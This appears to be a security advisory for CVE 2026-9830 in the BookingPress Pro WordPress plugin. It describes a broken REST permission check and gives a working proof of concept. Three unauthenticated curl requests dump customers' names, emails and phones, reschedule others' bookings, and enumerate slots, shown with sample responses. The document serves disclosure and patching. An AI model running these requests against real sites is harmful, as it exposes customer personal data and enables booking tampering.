BookingPress Pro < 5.7.3 – Unauthenticated Customer PII Disclosure and Booking Tampering via Permission Callback Bug | CVE 2026-9830

Description

The plugin does not correctly invoke its REST permission callback, leaving every route in one of its API namespaces reachable without authentication and allowing unauthenticated attackers to read customer booking data and modify other users' bookings.

Proof of Concept

## Reproduction (all three requests unauthenticated, no cookies, no nonce)

Tested against BookingPress Pro 5.7 + BookingPress (Lite) 1.5.4 with one seeded approved booking and a single Consultation service.

```bash
SITE="https://target.example"

# 1. Mass customer-PII disclosure - /calendar
#    A patched install responds 401/403; the vulnerable install returns the
#    full booking ledger with name, email, phone, service, price, dates.
curl -sk "$SITE/wp-json/bookingpress-app/v1/calendar" \
  -X POST -H "Content-Type: application/json" \
  -d '{"start_date":"2020-01-01","end_date":"2030-12-31"}'

# Response on a vulnerable install (single seeded booking shown):
# {
#   "success": true,
#   "data": [
#     {
#       "id": "1",
#       "customerName": "Jane Doe",
#       "start_date": "2027-01-15",
#       "booking_time": "10:00 - 11:00",
#       "serviceName": "Consultation",
#       "price": "$100.00",
#       "metadata": {
#         "form_fields": [
#           {"label": "Email Address", "value": "jane.doe@victim.example"},
#           {"label": "Phone Number", "value": "+15551234567"}
#         ]
#       }
#     }
#   ]
# }


# 2. Unauthenticated booking tampering - /appointment/reschedule
#    Booking ids come from /calendar above (data[].id). The handler updates
#    wp_bookingpress_appointment_bookings (date/time + is_reschedule=1) and
#    sends the legitimate "Appointment Rescheduled" notification email from
#    the merchant's SPF/DKIM/DMARC-aligned domain.
curl -sk "$SITE/wp-json/bookingpress-app/v1/appointment/reschedule" \
  -X POST -H "Content-Type: application/json" \
  -d '{"appointment_update_id":1,"appointment_selected_service":1,
       "appointment_booked_date":"2028-06-06",
       "appointment_booked_time":"06:00",
       "appointment_booked_end_time":"07:00"}'

# Response on a vulnerable install:
# {"variant":"success","title":"Success",
#  "msg":"Appointment Rescheduled Successfully","update_data":1}


# 3. Booking-slot enumeration - /time
curl -sk "$SITE/wp-json/bookingpress-app/v1/time" \
  -X POST -H "Content-Type: application/json" \
  -d '{"selected_date":"2027-01-15","service_id":1}'
# Response: full per-day time-slot schedule for the chosen service.
```

A patched install would return `rest_forbidden` / `rest_not_logged_in` (HTTP 401/403) on each call. On 5.7 every call returns HTTP 200 with the action's success payload.